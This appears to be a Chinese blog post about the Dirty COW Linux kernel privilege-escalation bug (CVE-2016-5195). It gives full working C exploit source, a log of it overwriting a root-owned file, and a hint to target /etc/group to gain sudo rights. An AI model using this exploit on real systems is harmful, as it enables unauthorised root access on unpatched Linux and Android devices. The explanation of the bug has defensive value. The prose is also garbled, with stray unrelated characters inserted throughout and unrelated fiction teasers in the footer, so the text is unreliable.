Linux Dirty COW(臟牛)漏洞介紹及檢測(cè)

漏洞描述

描述引用來源:https://github.com/dirtycow
*A race condition was found in the way the Linux kernel's memory subsystem handled the copy-on-write (COW) breakage of private read-only memory mappings. *

Linux內(nèi)核的內(nèi)存子系統(tǒng)在處理copy-on-write(COW)時(shí)出現(xiàn)競(jìng)爭(zhēng)條件日月,導(dǎo)致私有只讀存儲(chǔ)器映射被破壞丑罪。

The bug has existed since around 2.6.22 (released in 2007) and was fixed on Oct 18, 2016. List of patched versions here

這個(gè)bug自Linux 2.6.22(發(fā)布于 2007 年)存在至今花履,并于2016年10月18日被修復(fù)。點(diǎn)擊這里查看已發(fā)布補(bǔ)丁的Linux版本颅停。

Linux內(nèi)核的內(nèi)存子系統(tǒng)在處理copy-on-write(COW)時(shí)出現(xiàn)競(jìng)爭(zhēng)條件掸掏,導(dǎo)致私有只讀存儲(chǔ)器映射被破壞文搂,可利用此漏洞非法獲得讀寫權(quán)限瑰枫,進(jìn)而提升權(quán)限。


Dirty COW
Dirty COW

漏洞檢測(cè)方法

/* 
 * author  : http://www.ichunqiu.com/course/56009 
 * title   : 實(shí)驗(yàn)1 CVE-2016-5195(臟牛)內(nèi)核提權(quán)漏洞分析 
 * modify  : 天蒼野茫 
 * fileName: dirtycow.c
 * build   : gcc -pthread dirtycow.c -o dirtycow
 */
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>

void *map;
int f;
struct stat st;
char *name;
int bSuccess = 0;

void *madviseThread(void *arg)
{
    char *str;
    str = (char *)arg;
    int f = open(str, O_RDONLY);
    int i = 0, c = 0;
    char buffer1[1024], buffer2[1024];
    int size;
    lseek(f, 0, SEEK_SET);
    size = read(f, buffer1, sizeof(buffer1));
    while(i < 100000000)
    {
        c += madvise(map, 100, MADV_DONTNEED);
        lseek(f, 0, SEEK_SET);
        size = read(f, buffer2, sizeof(buffer2));
        if(size > 0 && strcmp(buffer1, buffer2))
        {
            printf("Hack success!\n\n");
            bSuccess = 1;
            break;
        }
        i++;
    }
    close(f);
    printf("madvise %d\n\n", c);
}

void *procselfmemThread(void *arg)
{
    char *str;
    str = (char *)arg;

    int f = open("/proc/self/mem", O_RDWR);
    int i = 0, c = 0;
    while(i < 100000000 && !bSuccess)
    {
        lseek(f, (uintptr_t)map, SEEK_SET);
        c += write(f, str, strlen(str));
        i++;
    }
    close(f);
    printf("procselfmem %d \n\n", c);    
}

int main(int argc, char *argv[])
{
    if(argc < 3)
    {
        (void)fprintf(stderr, "%s\n", "usage: dirtycow target_file new_content");
        return 1;
    }
    pthread_t pth1, pth2;

    f = open(argv[1], O_RDONLY);
    fstat(f, &st);
    name = argv[1];

    map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
    printf("mmap %zx\n\n", (uintptr_t)map);

    pthread_create(&pth1, NULL, madviseThread, argv[1]);
    pthread_create(&pth2, NULL, procselfmemThread, argv[2]);

    pthread_join(pth1, NULL);
    pthread_join(pth2, NULL);
    
    close(f);
    
    return 0;
}

漏洞檢測(cè)結(jié)果

平臺(tái)信息

tiancangyemang@ubuntu:~$ uname -a
Linux ubuntu 3.13.0-96-generic #143-Ubuntu SMP Mon Aug 29 20:15:20 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

tiancangyemang@ubuntu:~$ gcc --version
gcc (Ubuntu 4.8.4-2ubuntu1~14.04.3) 4.8.4
Copyright (C) 2013 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

測(cè)試過程

編譯

tiancangyemang@ubuntu:~$ gcc -pthread dirtycow.c -o dirtycow

準(zhǔn)備測(cè)試目標(biāo)

tiancangyemang@ubuntu:~$ echo ABCDEFGHIJKLMN > target.txt
tiancangyemang@ubuntu:~$ cat target.txt 
ABCDEFGHIJKLMN
tiancangyemang@ubuntu:~$ chmod 644 target.txt
tiancangyemang@ubuntu:~$ sudo chown root:root target.txt
[sudo] password for tiancangyemang:

tiancangyemang@ubuntu:~$ ls -l target.txt
-rw-r--r-- 1 root root 15 10月 30 13:14 target.txt

開始測(cè)試

tiancangyemang@ubuntu:~$ cat target.txt 
ABCDEFGHIJKLMN
tiancangyemang@ubuntu:~$ ./dirtycow target.txt 1234567890
mmap 7fa185de3000

Hack success!

procselfmem 52150 

madvise 0

tiancangyemang@ubuntu:~$ ls -l target.txt 
-rw-r--r-- 1 root root 15 10月 30 13:14 target.txt

tiancangyemang@ubuntu:~$ cat target.txt 
1234567890KLMN

結(jié)論

  • 由上面的測(cè)試數(shù)據(jù)可知偶惠,只要有對(duì)target.txt的可讀權(quán)限春寿,就可以利用Dirty COW漏洞獲得讀寫權(quán)限!
  • 若把目標(biāo)從target.txt改成/etc/group忽孽,將自己加入sudo組绑改,你懂的~

補(bǔ)充

Dirty COW漏洞是一個(gè)遠(yuǎn)古時(shí)期的漏洞(2007年,Linux 2.6.22)扒腕,影響版本廣泛绢淀,現(xiàn)在市面上絕大部分 Android 手機(jī)的 Linux 版本都大于2.6.22,換言之瘾腰,目前市面上絕大部分 Android 手機(jī)均面臨Dirty COW漏洞的威脅!

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末覆履,一起剝皮案震驚了整個(gè)濱河市蹋盆,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌硝全,老刑警劉巖栖雾,帶你破解...
    沈念sama閱讀 212,454評(píng)論 6 493
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異伟众,居然都是意外死亡析藕,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,553評(píng)論 3 385
  • 文/潘曉璐 我一進(jìn)店門凳厢,熙熙樓的掌柜王于貴愁眉苦臉地迎上來账胧,“玉大人,你說我怎么就攤上這事先紫≈文啵” “怎么了?”我有些...
    開封第一講書人閱讀 157,921評(píng)論 0 348
  • 文/不壞的土叔 我叫張陵遮精,是天一觀的道長居夹。 經(jīng)常有香客問我,道長,這世上最難降的妖魔是什么准脂? 我笑而不...
    開封第一講書人閱讀 56,648評(píng)論 1 284
  • 正文 為了忘掉前任劫扒,我火速辦了婚禮,結(jié)果婚禮上狸膏,老公的妹妹穿的比我還像新娘粟关。我一直安慰自己,他們只是感情好环戈,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,770評(píng)論 6 386
  • 文/花漫 我一把揭開白布闷板。 她就那樣靜靜地躺著,像睡著了一般院塞。 火紅的嫁衣襯著肌膚如雪遮晚。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 49,950評(píng)論 1 291
  • 那天拦止,我揣著相機(jī)與錄音县遣,去河邊找鬼。 笑死汹族,一個(gè)胖子當(dāng)著我的面吹牛萧求,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播顶瞒,決...
    沈念sama閱讀 39,090評(píng)論 3 410
  • 文/蒼蘭香墨 我猛地睜開眼夸政,長吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來了榴徐?” 一聲冷哼從身側(cè)響起守问,我...
    開封第一講書人閱讀 37,817評(píng)論 0 268
  • 序言:老撾萬榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎坑资,沒想到半個(gè)月后耗帕,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 44,275評(píng)論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡袱贮,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,592評(píng)論 2 327
  • 正文 我和宋清朗相戀三年仿便,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片攒巍。...
    茶點(diǎn)故事閱讀 38,724評(píng)論 1 341
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡嗽仪,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出窑业,到底是詐尸還是另有隱情钦幔,我是刑警寧澤,帶...
    沈念sama閱讀 34,409評(píng)論 4 333
  • 正文 年R本政府宣布常柄,位于F島的核電站鲤氢,受9級(jí)特大地震影響搀擂,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜卷玉,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 40,052評(píng)論 3 316
  • 文/蒙蒙 一哨颂、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧相种,春花似錦威恼、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,815評(píng)論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至衬潦,卻和暖如春斤蔓,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背镀岛。 一陣腳步聲響...
    開封第一講書人閱讀 32,043評(píng)論 1 266
  • 我被黑心中介騙來泰國打工弦牡, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人漂羊。 一個(gè)月前我還...
    沈念sama閱讀 46,503評(píng)論 2 361
  • 正文 我出身青樓驾锰,卻偏偏與公主長得像,于是被迫代替她去往敵國和親走越。 傳聞我的和親對(duì)象是個(gè)殘疾皇子椭豫,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,627評(píng)論 2 350

推薦閱讀更多精彩內(nèi)容